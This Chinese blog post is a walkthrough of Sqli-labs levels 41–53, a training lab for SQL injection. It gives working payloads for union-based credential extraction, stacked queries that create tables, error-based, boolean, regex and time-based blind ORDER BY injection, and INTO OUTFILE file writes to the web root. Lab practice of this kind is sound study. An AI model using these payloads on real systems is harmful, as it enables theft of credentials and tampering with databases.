zoukankan      html  css  js  c++  java
  • Sqli-labs闯关题41-53题,详细解答。

    第四十一关:GET-BLIND based-intiger-Stacked

    盲注-叠堆-整型-GET

    这关和第三十九关略有不同 ,这关是盲注,错误时没有回显。就不多说。

    获得版本和数据库名   ?id=0 union select 1,version(),database() %23

    获得表名    ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

    获得列名     ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

    获取用户名密码  ?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

     也是可以堆叠注入的,堆叠注入语句   ?id=1;create table test41 like users;%23

    第四十二关:POST-Error based-String-Stacked

    报错型叠堆注入-单引号字符型 -POST

     刚进来的时候 乍一看还以是二次注入,但是结合此题的标题和php的代码,都显示是叠堆注入方式,那么怎么进行处理?

     Password 变量在post 过程中,没有通过 mysql_real_escape_string() 函数的处理,并且是单引号进行包裹。因此在登录的时候密码选项我们可以进行 attack。
    所以我们在密码处构造:

     login_user=1&login_password=li';create table Less42 like users#&mysubmit=Login

     

     虽然显示错误,但是我们的数据库中还是已经建了表。

     接下来我们就可以通过建的这个表进行数值的获取。

    第四十三关:POST-Error based-String-Stacked with twist

    报错型 - 堆叠注入 - 有单括号的单引号字符型 - POST

     这关和上一关基本一样:login_user=1&login_password=li');create table less43 like users#&mysubmit=Login

     

     

     

    第四十四关:POST- Error-based-String-Stacked-Blin

    盲注 - 堆叠注入 - 字符型 - POST  既然是盲注,没有回显

      还是一样:login_user=1&login_password=li';create table less44 like users#&mysubmit=Login

     

     

     

     

     

     不多说。

    第四十五关:POST-Error based-String-Stacked-Blind

    报错型堆叠注入 - 有括号的单引号字符型 - POST-盲注无回显

     login_user=1&login_password=li');create table less45 like users#&mysubmit=Login

     

     

     

     

     

     

     

    第四十六关:GET-Error based-Numeric-ORDER BY CLAUSE

     题目提示用order by语句进行注入。

    select * from users order by 1 desc ;使用降序(倒序)排列

    select * from users order by 1 asc ;使用升序(正序)排列

     

    select right(database(),1);从右至左输出第一个字母

    select lesft(database(),1);从左至右输出第一个字母

     

    lines terminated by 666  每行输出以666结尾

    我们看到界面后发现不一样了,之前都是id,现在变成sort了,那咱们试一下

    我们输出了?sort=1后发现竟然可以得出user表的信息。不可思议。那么这一关的真正练习是什么呐?感觉这回是通过这个反推去了,让我们来熟悉一下注入语句吧!

    r

     

     

     

     

     

     既然要用order by语句进行注入,那首先我们通过asc 和desc查看返回数据是否相同来简单判断是否存在order  by注入

    从源码看到的确是order by型注入:

    http://192.168.24.140/sqli-labs-master/Less-46/?sort=1+asc   (正序)

    http://192.168.24.140/sqli-labs-master/Less-46/?sort=1+desc    (倒序)

     

    usernamepassword均为列名,所以以下需要知道列名

    ?order=if(1=1,username,password)
    ?order=null,if(1=1,username,password)
    ?order=(case when (1=1) then username else password end)
    ?order=ifnull(null, username)
    ?order=rand(1=1) //order by rand(1)/rand(0)两者返回不一样
    ?order=(select 1 regexp if(1=1,1,0x00))

    order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试      

    没有报错,right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入

    ?sort=right(version(),1)     ?sort=left(version(),1) 效果是一样的,所以我们总结了一下可以有多种方法:时间延迟型盲注、布尔型盲注、报错型注入、union联合查询注入法、程序分析参数后注入、outfile参数发等。

     

     

     此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,

    ①直接添加注入语句,?sort=(select ******)

    ②利用一些函数。例如rand()函数等。?sort=rand(sql语句) 

    ③利用and,例如?sort=1 and (加sql语句)。

    同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

    @1、报错型注入:

    获取数据库名 :   ?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))

     获取数据库的权限:

    ?sort=(select count(*) from information_schema.columns group by concat(0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

    获得数据库版本 :         ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

     

     

     

     

    @2、布尔型盲注:

     

     盲注获取数据库第一个字的ascii码,比较麻烦,不多说。

     @3、正则表达式注入 ?sort=1 ^(select(select version()) regexp '^5')发现版本

     @4、时间盲注

    测试能不能时间注入?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test))

    发现数据库的第一关字母?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(3))

     @5、发现这关还可以outfile进行写      ?sort=1 into outfile 'C:\phpStudy\WWW\sqli-labs-master\Less-46\li.php'

     发现已经有了文件夹下已经有了

     里面是密码

    @6、也可以程序分析参数后注入    ?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

     

     

     

     @7、也可以用叠堆注入方法创建一个表。

    第四十七关:GET-Error based-String-ORDER BY CLAUSE

     基于单引号的order by注入:

    语句基本和上一关一样,只需要加一下单引号

    获取数据库使用权限:

    ?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+

     

     获得数据库版本 :         

     当然也可以时间盲注  ?sort=1' and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

    第四十八关;GET-Error based-Blind-Numeric-ORDER BY CLAUSE

    可以看出这关是order by盲注、数字型

    布尔盲注: ?sort=rand(ascii(left(database(),1))=178)

     时间盲注:    ?sort=1  and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

    第四十九关:GET-Error based-String-Blind-ORDER BY CLAUSE

     

    这关是盲注   order by 单引号字符型盲注,没有错误回显

     ?sort=1'  and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

     

     

     

     这关还可以outfile进行写 入:     ?sort=1 into outfile 'C:\phpStudy\WWW\sqli-labs-master\Less-49\li.php'

    第五十关:GET-Error based--ORDER BY CLAUSE-numeric-Stacked

    injection

     

    这关我们就用堆叠注入  ?sort=1;create table test50 like users;%23

     

     

     去数据库里看,发现有了

     

     

    第五十一关:GET-Error based-ORDER BY CLAUSE-String-Stacked injection

    GET-ORDER BY-叠堆注入-字符型

    ?sort=1';create table test51 like users;%23

    第五十二关:GET-Blind-based-ORDER BY CLAUSE-numeric-Stacked injection

    GET-盲注无回显-ORDER BY-叠堆注入法-数字型

    ?sort=1;create table test52 like users;%23

    第五十三关:GET-GET-Blind-based-ORDER BY CLAUSE-String-Stacked injection

    GET-盲注-ORDER BY-叠堆型注入-字符型注入

     

    ?sort=1';create table test53 like users;%23

     

  • 相关阅读:
    基于wax的lua IOS插件开发
    acm
    微策略面试题:在旋转后的数组中查找元素(二分查找)
    BP神经网络
    神经网络理论基础
    机器人关节数学模型
    如何下载中文和英文的全文专利
    Java 12 骚操作, switch居然还能这样玩!
    Java 12 骚操作, String居然还能这样玩!
    Spring Boot YML 掀翻 Properties!!
  • 原文地址:https://www.cnblogs.com/li2019/p/12380765.html
Copyright © 2011-2022 走看看